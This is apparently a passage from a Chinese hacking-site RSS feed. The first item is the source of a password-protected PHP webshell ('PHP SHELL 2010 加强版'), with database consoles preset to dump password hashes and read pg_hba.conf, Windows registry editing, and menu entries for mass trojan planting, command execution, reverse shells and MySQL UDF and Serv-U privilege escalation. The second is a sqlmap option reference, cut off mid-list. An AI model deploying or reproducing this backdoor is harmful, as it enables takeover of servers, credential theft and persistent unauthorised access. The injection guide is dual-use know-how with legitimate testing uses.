	return true;
}
&lt;/script&gt;
&lt;textarea name=&quot;db2sql&quot; style=&quot;width:600px;height:200px;&quot;&gt;{$db2query}&lt;/textarea&gt;&lt;br&gt;
&lt;select onchange=&quot;return db2Full(options[selectedIndex].value)&quot;&gt;
	&lt;option value=&quot;0&quot; selected&gt;command&lt;/option&gt;
        &lt;option value=&quot;1&quot;&gt;databases&lt;/option&gt;
        &lt;option value=&quot;1&quot;&gt;tables&lt;/option&gt;
        &lt;option value=&quot;2&quot;&gt;columns&lt;/option&gt;
        &lt;option value=&quot;3&quot;&gt;db config&lt;/option&gt;
&lt;/select&gt;
&lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;db2query&quot;&gt;
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;执行&quot;&gt;&lt;/div&gt;&lt;/form&gt;
END;
if ($myaction == 'db2query'){ $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); $db2result = db2_exec($db2link,$db2query) or die(db2_stmt_errormsg()); $db2row=db2_fetch_row($db2result); echo '&lt;font face=&quot;verdana&quot;&gt;'; echo '&lt;table border=&quot;1&quot; cellpadding=&quot;1&quot; cellspacing=&quot;2&quot;&gt;'; echo &quot;\n&lt;tr&gt;\n&quot;; for ($i=0; $i&lt;db2_num_fields($db2result); $i++) { echo '&lt;td bgcolor=&quot;#228B22&quot;&gt;&lt;b&gt;'. db2_field_name($db2result); echo &quot;&lt;/b&gt;&lt;/td&gt;\n&quot;; } echo &quot;&lt;/tr&gt;\n&quot;; while ($db2row=db2_fetch_row($db2result)) { echo &quot;&lt;tr&gt;\n&quot;; for ($i=0; $i&lt;db2_num_fields($db2result); $i++ ) { echo '&lt;td bgcolor=&quot;#B8B8E8&quot;&gt;'; echo &quot;$db2row[$i]&quot;; echo '&lt;/td&gt;'; } echo &quot;&lt;/tr&gt;\n&quot;; } echo &quot;&lt;/table&gt;\n&quot;; echo &quot;&lt;/font&gt;&quot;; db2_free_result($db2result); db2_close(); } } elseif($db == &quot;fb&quot;) { $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; $fbpath = str_replace(&quot;\\\\&quot;, &quot;\\&quot;, $fbpath); $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba'; $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey'; $fbaction = isset($_POST['action']) ? $_POST['action'] : ''; $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; $fbquery = stripslashes($fbquery); print&lt;&lt;&lt;END
&lt;form method=&quot;POST&quot; name=&quot;fbform&quot; action=&quot;?s=w&amp;db=fb&quot;&gt;
&lt;div class=&quot;actall&quot;&gt;主机:&lt;input type=&quot;text&quot; name=&quot;fbhost&quot; value=&quot;{$fbhost}&quot; style=&quot;width:100px&quot;&gt;
路径:&lt;input type=&quot;text&quot; name=&quot;fbpath&quot; value=&quot;{$fbpath}&quot; style=&quot;width:100px&quot;&gt;
用户:&lt;input type=&quot;text&quot; name=&quot;fbuser&quot; value=&quot;{$fbuser}&quot; style=&quot;width:100px&quot;&gt;
密码:&lt;input type=&quot;text&quot; name=&quot;fbpass&quot; value=&quot;{$fbpass}&quot; style=&quot;width:100px&quot;&gt;&lt;br/&gt;
&lt;script language=&quot;javascript&quot;&gt;
function fbFull(i){
	Str = new Array(5);
        Str[0] = &quot;&quot;;
	Str[1] = &quot;select RDB\$RELATION_NAME from RDB\$RELATIONS;&quot;;
        Str[2] = &quot;select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';&quot;;
        Str[3] = &quot;input 'D:\\createtable.sql';&quot;;
        Str[4] = &quot;shell netstat -an;&quot;;
	fbform.fbsql.value = Str[i];
	return true;
}
&lt;/script&gt;
&lt;textarea name=&quot;fbsql&quot; style=&quot;width:600px;height:200px;&quot;&gt;{$fbquery}&lt;/textarea&gt;&lt;br&gt;
&lt;select onchange=&quot;return fbFull(options[selectedIndex].value)&quot;&gt;
	&lt;option value=&quot;0&quot; selected&gt;command&lt;/option&gt;
        &lt;option value=&quot;1&quot;&gt;tables&lt;/option&gt;
        &lt;option value=&quot;2&quot;&gt;columns&lt;/option&gt;
        &lt;option value=&quot;3&quot;&gt;import sql&lt;/option&gt;
        &lt;option value=&quot;4&quot;&gt;shell&lt;/option&gt;
&lt;/select&gt;
&lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;fbquery&quot;&gt;
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;执行&quot;&gt;&lt;/div&gt;&lt;/form&gt;
END;
if ($fbaction == 'fbquery'){ $fblink = ibase_connect($fbhost.':'.$fbpath,$fbuser,$fbpass) or die(ibase_errmsg()); $fbresult = ibase_query($fblink,$fbquery) or die(ibase_errmsg()); echo '&lt;font face=&quot;verdana&quot;&gt;'; echo '&lt;table border=&quot;1&quot; cellpadding=&quot;1&quot; cellspacing=&quot;2&quot;&gt;'; echo &quot;\n&lt;tr&gt;\n&quot;; for ($i=0; $i&lt;ibase_num_fields($fbresult); $i++) { echo '&lt;td bgcolor=&quot;#228B22&quot;&gt;&lt;b&gt;'. ibase_field_info($fbresult, $i); echo &quot;&lt;/b&gt;&lt;/td&gt;\n&quot;; } echo &quot;&lt;/tr&gt;\n&quot;; ibase_field_info($fbresult, 0); while ($fbrow=ibase_fetch_row($fbresult)) { echo &quot;&lt;tr&gt;\n&quot;; for ($i=0; $i&lt;ibase_num_fields($fbresult); $i++ ) { echo '&lt;td bgcolor=&quot;#B8B8E8&quot;&gt;'; echo &quot;$fbrow[$i]&quot;; echo '&lt;/td&gt;'; } echo &quot;&lt;/tr&gt;\n&quot;; } echo &quot;&lt;/table&gt;\n&quot;; echo &quot;&lt;/font&gt;&quot;; ibase_free_result($fbresult); ibase_close(); } } else{ $pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost'; $pguser = isset($_POST['pguser']) ? $_POST['pguser'] : 'postgres'; $pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : ''; $pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres'; $pgaction = isset($_POST['action']) ? $_POST['action'] : ''; $pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : ''; $pgquery = stripslashes($pgquery); print&lt;&lt;&lt;END
&lt;form method=&quot;POST&quot; name=&quot;pgform&quot; action=&quot;?s=w&quot;&gt;
&lt;div class=&quot;actall&quot;&gt;主机:&lt;input type=&quot;text&quot; name=&quot;pghost&quot; value=&quot;{$pghost}&quot; style=&quot;width:100px;&quot;&gt;
用户:&lt;input type=&quot;text&quot; name=&quot;pguser&quot; vaule=&quot;{$pguser}&quot; style=&quot;width:100px&quot;&gt;
密码:&lt;input tyoe=&quot;text&quot; name=&quot;pgpass&quot; value=&quot;{$pgpass}&quot; style=&quot;width:100px&quot;&gt;
数据库名:&lt;input type=&quot;text&quot; name=&quot;pgdbname&quot; value=&quot;{$pgdbname}&quot; style=&quot;width:100px&quot;&gt;&lt;br&gt;&lt;br&gt;
&lt;script language=&quot;javascript&quot;&gt;
function pgFull(i){
	Str = new Array(7);
	Str[0] = &quot;&quot;;
        Str[1] = &quot;select version();&quot;;
        Str[2] = &quot;select datname from pg_database;&quot;;
        Str[3] = &quot;select relname from pg_stat_user_tables limit 1 offset n;&quot;;
        Str[4] = &quot;select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;&quot;;
        Str[5] = &quot;select usename,passwd from pg_shadow;&quot;;
	Str[6] = &quot;select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));&quot;;
	pgform.pgsql.value = Str[i];
	return true;
}
&lt;/script&gt;
&lt;textarea name=&quot;pgsql&quot; style=&quot;width:600px;height:200px;&quot;&gt;{$pgquery}&lt;/textarea&gt;&lt;br&gt;
&lt;select onchange=&quot;return pgFull(options[selectedIndex].value)&quot;&gt;
	&lt;option value=&quot;0&quot; selected&gt;command&lt;/option&gt;
        &lt;option value=&quot;1&quot;&gt;version&lt;/option&gt;
        &lt;option value=&quot;2&quot;&gt;databases&lt;/option&gt;
        &lt;option value=&quot;3&quot;&gt;tables&lt;/option&gt;
        &lt;option value=&quot;4&quot;&gt;columns&lt;/option&gt;
        &lt;option value=&quot;5&quot;&gt;hashes&lt;/option&gt;
	&lt;option value=&quot;6&quot;&gt;pg_hb.conf&lt;/option&gt;
&lt;/select&gt;
&lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;pgquery&quot;&gt;
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;执行&quot;&gt;&lt;/div&gt;&lt;/form&gt;
END;
if ($pgaction == 'pgquery'){ $pgconn = pg_connect(&quot;host=$pghost dbname=$pgdbname user=$pguser password=$pgpass &quot;) or die( '不能连接: ' . pg_last_error()); $pgresult = pg_query($pgquery) or die( '执行失败: '.pg_last_error()); $pgrow=pg_fetch_row($pgresult); echo '&lt;font face=&quot;verdana&quot;&gt;'; echo '&lt;table border=&quot;1&quot; cellpadding=&quot;1&quot; cellspacing=&quot;2&quot;&gt;'; echo &quot;\n&lt;tr&gt;\n&quot;; for ($i=0; $i&lt;pg_num_fields($pgresult); $i++) { echo '&lt;td bgcolor=&quot;#228B22&quot;&gt;&lt;b&gt;'. pg_field_name($pgresult, $i); echo &quot;&lt;/b&gt;&lt;/td&gt;\n&quot;; } echo &quot;&lt;/tr&gt;\n&quot;; pg_result_seek($pgresult, 0); while ($pgrow=pg_fetch_row($pgresult)) { echo &quot;&lt;tr&gt;\n&quot;; for ($i=0; $i&lt;pg_num_fields($pgresult); $i++ ) { echo '&lt;td bgcolor=&quot;#B8B8E8&quot;&gt;'; echo &quot;$pgrow[$i]&quot;; echo '&lt;/td&gt;'; } echo &quot;&lt;/tr&gt;\n&quot;; } echo &quot;&lt;/table&gt;\n&quot;; echo &quot;&lt;/font&gt;&quot;; pg_free_result($pgresult); pg_close(); } } } function phpreg(){ $shell1 = new COM(&quot;wscript.shell&quot;) or die(&quot;必须是 windows 主机&quot;); $action = isset($_POST['action']) ? $_POST['action'] : ''; echo '&lt;br&gt;'; echo '&lt;div class=&quot;actall&quot;&gt;&lt;h5&gt;读 &amp; 写 &amp;删除 注册表&lt;/h5&gt;&lt;br&gt;&lt;/div&gt;'; echo '&lt;br&gt;'; print&lt;&lt;&lt;END
&lt;TR&gt;&lt;form   action=&quot;&quot;   method=&quot;post&quot;&gt;   
&lt;div class=&quot;actall&quot;&gt;&lt;TD WIDTH=100 VALIGN=TOP ALIGN=CENTER&gt;   
读取路径:&amp;nbsp&lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;read&quot;&gt;   
&lt;input type=&quot;text&quot; name=&quot;rpath&quot; value=&quot;{$rpath}&quot; size=&quot;70&quot;&gt;   
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;读操作&quot;&gt;&lt;/form&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br&gt;&lt;br&gt;&lt;/div&gt;   
END;
$rpath = isset($_POST['rpath']) ? $_POST['rpath'] : ''; $rpath = str_replace(&quot;\\\\&quot;, &quot;\\&quot;, $rpath); if ($action==&quot;read&quot;){ $out = $shell1-&gt;RegRead($rpath); echo '&lt;pre&gt;'.var_dump($out).'&lt;/pre&gt;'; echo '&lt;br&gt;&lt;br&gt;'; } print&lt;&lt;&lt;END
&lt;TR&gt;&lt;form   action=&quot;&quot;   method=&quot;post&quot;&gt;   
&lt;div class=&quot;actall&quot;&gt;&lt;TD WIDTH=100 VALIGN=TOP ALIGN=CENTER&gt;Wpath:      
&lt;input type=&quot;text&quot; name=&quot;wpath&quot; value=&quot;{$wpath}&quot; size=&quot;70&quot;&gt;&lt;BR&gt;&lt;br&gt; 
写类型:&amp;nbsp&lt;input type=&quot;text&quot; name=&quot;wtype&quot; value=&quot;{$wtype}&quot; size=&quot;20&quot;&gt;
写键值:&amp;nbsp&lt;input type=&quot;text&quot; name=&quot;wvalue&quot; value=&quot;{$wvalue}&quot; size=&quot;30&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;write&quot;&gt;  
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;写操作&quot;&gt;&lt;/form&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/div&gt;   
END;
$wpath = isset($_POST['wpath']) ? $_POST['wpath'] : ''; $wpath = str_replace(&quot;\\\\&quot;, &quot;\\&quot;, $wpath); $wtype = isset($_POST['wtype']) ? $_POST['wtype'] : ''; $wvalue = isset($_POST['wvalue']) ? $_POST['wvalue'] : ''; if ($action==&quot;write&quot;){ $shell1-&gt;RegWrite($wpath, $wvalue, $wtype); } print&lt;&lt;&lt;END
&lt;TR&gt;&lt;form   action=&quot;&quot;   method=&quot;post&quot;&gt;   
&lt;div class=&quot;actall&quot;&gt;&lt;TD WIDTH=100 VALIGN=TOP ALIGN=CENTER&gt;  
删除路径:&lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;del&quot;&gt;   
&lt;input type=&quot;text&quot; name=&quot;dpath&quot; value=&quot;{$dpath}&quot; size=&quot;70&quot;&gt;   
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;删除&quot;&gt;&lt;/form&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br&gt;&lt;br&gt;&lt;/div&gt;   
END;
$dpath = isset($_POST['dpath']) ? $_POST['dpath'] : ''; $dpath = str_replace(&quot;\\\\&quot;, &quot;\\&quot;, $dpath); if ($action==&quot;del&quot;){ $out = $shell1-&gt;RegDelete($dpath); } } function Root_Login($MSG_TOP) { global $lanip; print&lt;&lt;&lt;END

&lt;html&gt;
	&lt;body style=&quot;background:#FFFFF;&quot;&gt;
		&lt;center&gt;
		&lt;form method=&quot;POST&quot;&gt;
		&lt;div style=&quot;width:551px;height:201px;margin-top:100px;background:threedface;border-color: #000000 #999999 #FFFFF;border-style:solid;border-width:1px;&quot;&gt;
		&lt;div style=&quot;width:550px;height:22px;padding-top:2px;color:#FFFFFF;background:#000000;clear:both;&quot;&gt;&lt;b&gt;{$MSG_TOP}&lt;/b&gt;&lt;/div&gt;
		&lt;div style=&quot;width:550px;height:80px;padding-top:30px;color:;clear:both;&quot;&gt;密码:&lt;input type=&quot;password&quot; name=&quot;b4che10rpass&quot; style=&quot;width:200px;height:20px&quot;&gt;&lt;/div&gt;
		&lt;div style=&quot;width:550px;height:50px;clear:both;&quot;&gt;&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;login&quot;&gt;&lt;/div&gt;
                &lt;h5&gt;@Copyright spider Clean Backdoor加强版 by：B1ac7Sky &amp;&amp; L.N.&lt;h5&gt;
                &lt;h5&gt;Your IP : {$lanip} &lt;h5&gt;
		&lt;/div&gt;
		&lt;/form&gt;
		&lt;/center&gt;
	&lt;/body&gt;
&lt;/html&gt;
END;
return false; } function WinMain() { $Server_IP = gethostbyname($_SERVER[&quot;SERVER_NAME&quot;]); $Server_OS = PHP_OS; $Server_Soft = $_SERVER[&quot;SERVER_SOFTWARE&quot;]; print&lt;&lt;&lt;END
&lt;html&gt;
	&lt;title&gt; PHP SHELL 2010 加强版 by:B1ac7Sky &amp;&amp; L.N. &lt;/title&gt;
	&lt;head&gt;
		&lt;style type=&quot;text/css&quot;&gt;
			*{padding:0; margin:0;}
			body{background:#FFFFF;font-family:&quot;Verdana&quot;, &quot;Tahoma&quot;, sans-serif; font-size:13px;margin:0 auto; text-align:center;margin-top:5px;word-break:break-all;}
			.outtable {height:600px;width:%90;color:#000000;border-top-width: 2px;border-right-width: 2px;border-bottom-width: 2px;border-left-width: 2px;border-top-style: outset;border-right-style: outset;border-bottom-style: outset;border-left-style: outset;border-top-color: #FFFFFF;border-right-color: #8c8c8c;border-bottom-color: #8c8c8c;border-left-color: #FFFFFF;background-color: threedface;}
			.topbg {padding-top:3px;text-align: left;font-size:12px;font-weight: bold;height:22px;width:950px;color:#FFFFFF;background: #293F5F;}
			.bottombg {padding-top:3px;text-align: center;font-size:12px;font-weight: bold;height:22px;width:950px;color:#000000;background: #888888;}
			.listbg {font-family:'lucida grande',tahoma,helvetica,arial,'bitstream vera sans',sans-serif;font-size:13px;width:130px;}
			.listbg li{padding:3px;color:#000000;height:25px;display:block;line-height:26px;text-indent:0px;}
			.listbg li a{padding-top:2px;background:#BBBBBB;color:#000000;height:25px;display:block;line-height:24px;text-indent:0px;border-color:#999999 #999999 #999999 #999999;border-style:solid;border-width:1px;text-decoration:none;}
		&lt;/style&gt;
		&lt;script language=&quot;JavaScript&quot;&gt;
			function switchTab(tabid)
			{
				if(tabid == '') return false;
				for(var i=0;i&lt;=17;i++)
				{
					if(tabid == 't_'+i) document.getElementById(tabid).style.background=&quot;#FFFFFF&quot;;
					else document.getElementById('t_'+i).style.background=&quot;#BBBBBB&quot;;
				}
				return true;
			}
		&lt;/script&gt;
	&lt;/head&gt;
	&lt;body&gt;
		&lt;div class=&quot;outtable&quot;&gt;
		&lt;div class=&quot;topbg&quot;&gt; &amp;nbsp; {$Server_IP} - {$Server_OS} &lt;/div&gt;
			&lt;div style=&quot;height:546px;&quot;&gt;
				&lt;table width=&quot;100%&quot; height=&quot;100%&quot; border=0 cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
				&lt;tr&gt;
				&lt;td width=&quot;140&quot; align=&quot;center&quot; valign=&quot;top&quot;&gt;
					&lt;ul class=&quot;listbg&quot;&gt;
						&lt;li&gt;&lt;a href=&quot;?s=a&quot; id=&quot;t_0&quot; onclick=&quot;switchTab('t_0')&quot; style=&quot;background:#FFFFFF;&quot; target=&quot;main&quot;&gt; 文件管理 &lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href=&quot;?s=b&quot; id=&quot;t_1&quot; onclick=&quot;switchTab('t_1')&quot; target=&quot;main&quot;&gt; 批量挂马 &lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href=&quot;?s=c&quot; id=&quot;t_2&quot; onclick=&quot;switchTab('t_2')&quot; target=&quot;main&quot;&gt; 批量清马&lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href=&quot;?s=d&quot; id=&quot;t_3&quot; onclick=&quot;switchTab('t_3')&quot; target=&quot;main&quot;&gt; 批量替换 &lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href=&quot;?s=e&quot; id=&quot;t_4&quot; onclick=&quot;switchTab('t_4')&quot; target=&quot;main&quot;&gt; 扫描木马 &lt;/a&gt;&lt;/li&gt;
                                                &lt;li&gt;&lt;a href=&quot;?s=u&quot; id=&quot;t_21&quot; onclick=&quot;switchTab('t_21')&quot; target=&quot;main&quot;&gt; 搜索文件&lt;/a&gt;&lt;/li&gt;
                                                &lt;li&gt;&lt;a href=&quot;?s=v&quot; id=&quot;t_22&quot; onclick=&quot;switchTab('t_22')&quot; target=&quot;main&quot;&gt; FTP连接&lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href=&quot;?s=f&quot; id=&quot;t_5&quot; onclick=&quot;switchTab('t_5')&quot; target=&quot;main&quot;&gt; 系统信息 &lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href=&quot;?s=g&quot; id=&quot;t_6&quot; onclick=&quot;switchTab('t_6')&quot; target=&quot;main&quot;&gt; CMD命令 &lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href=&quot;?s=h&quot; id=&quot;t_7&quot; onclick=&quot;switchTab('t_7')&quot; target=&quot;main&quot;&gt; 组建接口 &lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href=&quot;?s=i&quot; id=&quot;t_8&quot; onclick=&quot;switchTab('t_8')&quot; target=&quot;main&quot;&gt; 端口扫描 &lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href=&quot;?s=j&quot; id=&quot;t_9&quot; onclick=&quot;switchTab('t_9')&quot; target=&quot;main&quot;&gt; 转换Shellcode &lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href=&quot;?s=k&quot; id=&quot;t_10&quot; onclick=&quot;switchTab('t_10')&quot; target=&quot;main&quot;&gt; 弱口令扫描 &lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href=&quot;?s=l&quot; id=&quot;t_11&quot; onclick=&quot;switchTab('t_11')&quot; target=&quot;main&quot;&gt;Linux 反弹 &lt;/a&gt;&lt;/li&gt;
                                                &lt;li&gt;&lt;a href=&quot;?s=r&quot; id=&quot;t_12&quot; onclick=&quot;switchTab('t_12')&quot; target=&quot;main&quot;&gt;PHP 反弹 &lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href=&quot;?s=m&quot; id=&quot;t_13&quot; onclick=&quot;switchTab('t_13')&quot; target=&quot;main&quot;&gt; Mysql_UDF提权 &lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href=&quot;?s=n&quot; id=&quot;t_14&quot; onclick=&quot;switchTab('t_14')&quot; target=&quot;main&quot;&gt; Mysql语句执行 &lt;/a&gt;&lt;/li&gt;
                                                &lt;li&gt;&lt;a href=&quot;?s=o&quot; id=&quot;t_15&quot; onclick=&quot;switchTab('t_15')&quot; target=&quot;main&quot;&gt;注册表操作 &lt;/a&gt;&lt;/li&gt;
                                                &lt;li&gt;&lt;a href=&quot;?s=z&quot; id=&quot;t_16&quot; onclick=&quot;switchTab('t_16')&quot; target=&quot;main&quot;&gt;Serv-U提权 &lt;/a&gt;&lt;/li&gt;
                                                &lt;li&gt;&lt;a href=&quot;?s=x&quot; id=&quot;t_17&quot; onclick=&quot;switchTab('t_17')&quot; target=&quot;main&quot;&gt;执行PHP代码 &lt;/a&gt;&lt;/li&gt;
                                                &lt;li&gt;&lt;a href=&quot;?s=w&quot; id=&quot;t_18&quot; onclick=&quot;switchTab('t_18')&quot; target=&quot;main&quot;&gt;其他数据库操作 &lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;a href=&quot;?s=logout&quot; id=&quot;t_20&quot; onclick=&quot;switchTab('t_20')&quot;&gt; 退 出 &lt;/a&gt;&lt;/li&gt;
					&lt;/ul&gt;
				&lt;/td&gt;
				&lt;td&gt;
				&lt;iframe name=&quot;main&quot; src=&quot;?s=a&quot; width=&quot;100%&quot; height=&quot;100%&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;
				&lt;/td&gt;
				&lt;/tr&gt;
				&lt;/table&gt;
			&lt;/div&gt;
		&lt;div class=&quot;bottombg&quot;&gt; {$Server_Soft} &lt;/div&gt;
		&lt;/div&gt;
	&lt;/body&gt;
&lt;/html&gt;
END;
return false; } if(get_magic_quotes_gpc()) { $_GET = Root_GP($_GET); $_POST = Root_GP($_POST); } if($_GET['s'] == 'logout') { setcookie('admin_b4che10rpass',NULL); die('&lt;meta http-equiv=&quot;refresh&quot; content=&quot;0;URL=?&quot;&gt;'); } if($_COOKIE['admin_b4che10rpass'] != md5($password)) { ob_start(); $MSG_TOP = 'PHP shell加强版 '; if(isset($_POST['b4che10rpass'])) { $cookietime = time() + 24 * 3600; setcookie('admin_b4che10rpass',md5($_POST['b4che10rpass']),$cookietime); if(md5($_POST['b4che10rpass']) == md5($password)){die('&lt;meta http-equiv=&quot;refresh&quot; content=&quot;1;URL=?&quot;&gt;');} else{$MSG_TOP = '密码错误';} } Root_Login($MSG_TOP); exit(); ob_end_flush(); } if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' &amp;&amp; $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';} $p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__)); switch($s) { case &quot;a&quot; : File_a($p); break; case &quot;b&quot; : Guama_b(); break; case &quot;c&quot; : Qingma_c(); break; case &quot;d&quot; : Tihuan_d(); break; case &quot;e&quot; : Antivirus_e(); break; case &quot;f&quot; : Info_f(); break; case &quot;g&quot; : Exec_g(); break; case &quot;h&quot; : Com_h(); break; case &quot;i&quot; : Port_i(); break; case &quot;j&quot; : Shellcode_j(); break; case &quot;k&quot; : Crack_k(); break; case &quot;l&quot; : Linux_l(); break; case &quot;m&quot; : Mysql_m(); break; case &quot;n&quot; : Mysql_n(); break; case &quot;o&quot; : phpreg(); break; case &quot;p&quot; : File_Edit($_GET['fp'],$_GET['fn']); break; case 'x' : phpcode();break; case 'r' : phpsocket();break; case 'w' : otherdb();break; case 'z' : su();break; case 'u' : Findfile_j(); break; case 'v' : ftp_php();break; default: WinMain(); break; } ?&gt;]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】SQLMAP命令大全]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373512]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 17:37:32 +0800]]></pubDate>
        <description><![CDATA[SQLMAP命令详解 

Options（选项）： 
--version             显示程序的版本号并退出 
-h, --help            显示此帮助消息并退出 
-v VERBOSE            详细级别：0-6（默认为1） 
Target（目标）： 
以下至少需要设置其中一个选项，设置目标URL。 
-d DIRECT           直接连接到数据库。 
-u URL, --url=URL   目标URL。 
-l LIST             从Burp或WebScarab代理的日志中解析目标。 
-r REQUESTFILE      从一个文件中载入HTTP请求。 
-g GOOGLEDORK       处理Google dork的结果作为目标URL。 
-c CONFIGFILE       从INI配置文件中加载选项。 
Request（请求）： 
    这些选项可以用来指定如何连接到目标URL。
--data=DATA         通过POST发送的数据字符串 
--cookie=COOKIE     HTTP Cookie头 
--cookie-urlencode  URL 编码生成的cookie注入 
--drop-set-cookie   忽略响应的Set - Cookie头信息 
--user-agent=AGENT  指定  HTTP User - Agent头 
--random-agent      使用随机选定的HTTP User - Agent头 
--referer=REFERER   指定  HTTP Referer头 
--headers=HEADERS   换行分开，加入其他的HTTP头 
--auth-type=ATYPE   HTTP身份验证类型（基本，摘要或NTLM）(Basic, Digest or NTLM) 
--auth-cred=ACRED   HTTP身份验证凭据（用户名:密码） 
--auth-cert=ACERT   HTTP认证证书（key_file，cert_file） 
--proxy=PROXY       使用HTTP代理连接到目标URL  --proxy http://127.0.0.1:8888
--proxy-cred=PCRED  HTTP代理身份验证凭据（用户名：密码） 
--ignore-proxy      忽略系统默认的HTTP代理 
--delay=DELAY       在每个HTTP请求之间的延迟时间，单位为秒  --delay 0.5
--timeout=TIMEOUT   等待连接超时的时间（默认为30秒） 
--retries=RETRIES   连接超时后重新连接的时间（默认3） 
--scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式 
--safe-url=SAFURL   在测试过程中经常访问的url地址 
--safe-freq=SAFREQ  两次访问之间测试请求，给出安全的URL 
Optimization（优化）： 
   这些选项可用于优化SqlMap的性能。 
    -o                  开启所有优化开关 
--predict-output    预测常见的查询输出 
--keep-alive        使用持久的HTTP（S）连接 
--null-connection   从没有实际的HTTP响应体中检索页面长度 
--threads=THREADS   最大的HTTP（S）请求并发量（默认为1） 
Injection（注入）： 
    这些选项可以用来指定测试哪些参数，  提供自定义的注入payloads和可选篡改脚本。 
    -p TESTPARAMETER    可测试的参数（S） 
--dbms=DBMS         强制后端的DBMS为此值 如：--dbms &quot;Mysql&quot;
--os=OS             强制后端的DBMS操作系统为这个值 
--prefix=PREFIX     注入payload字符串前缀 
--suffix=SUFFIX     注入payload字符串后缀 
--tamper=TAMPER     使用给定的脚本（S）篡改注入数据 
Detection（检测）： 
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。 
--level=LEVEL       执行测试的等级（1-5，默认为1） 
--risk=RISK         执行测试的风险（0-3，默认为1） 
--string=STRING     查询时有效时在页面匹配字符串 
--regexp=REGEXP     查询时有效时在页面匹配正则表达式 
--text-only         仅基于在文本内容比较网页 
  Techniques（技巧）： 
  这些选项可用于调整具体的SQL注入测试。 
--technique=TECH    SQL注入技术测试（默认BEUST） 
--time-sec=TIMESEC  DBMS响应的延迟时间（默认为5秒） 
--union-cols=UCOLS  定列范围用于测试UNION查询注入 
--union-char=UCHAR  用于暴力猜解列数的字符 
 Fingerprint（指纹）： 
-f, --fingerprint     执行检查广泛的DBMS版本指纹 
Enumeration（枚举）： 
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外，您还可以运行您自己
的SQL语句。 
-b, --banner        检索数据库管理系统的标识 
--current-user      检索数据库管理系统当前用户 
--current-db        检索数据库管理系统当前数据库 
--is-dba            检测DBMS当前用户是否DBA 
--users             枚举数据库管理系统用户 
--passwords         枚举数据库管理系统用户密码哈希 
--privileges        枚举数据库管理系统用户的权限 
--roles             枚举数据库管理系统用户的角色 
--dbs               枚举数据库管理系统数据库 
--tables            枚举的DBMS数据库中的表 
--columns           枚举DBMS数据库表列 
--dump              转储数据库管理系统的数据库中的表项 
--dump-all          转储所有的DBMS数据库表中的条目 
--search            搜索列（S），表（S）和/或数据库名称（S） 
    -D DB               要进行枚举的数据库名 
    -T TBL              要进行枚举的数据库表 
    -C COL              要进行枚举的数据库列 
    -U USER             用来进行枚举的数据库用户 
--exclude-sysdbs    枚举表时排除系统数据库 
--start=LIMITSTART  第一个查询输出进入检索 
--stop=LIMITSTOP    最后查询的输出进入检索 
--first=FIRSTCHAR   第一个查询输出字的字符检索 
--last=LASTCHAR     最后查询的输出字字符检索 
--sql-query=QUERY   要执行的SQL语句 
--sql-shell         提示交互式SQL的shell 
Brute force（蛮力）： 
    这些选项可以被用来运行蛮力检查。 
--common-tables     检查存在共同表 
--common-columns    检查存在共同列 
  User-defined function injection（用户自定义函数注入）： 
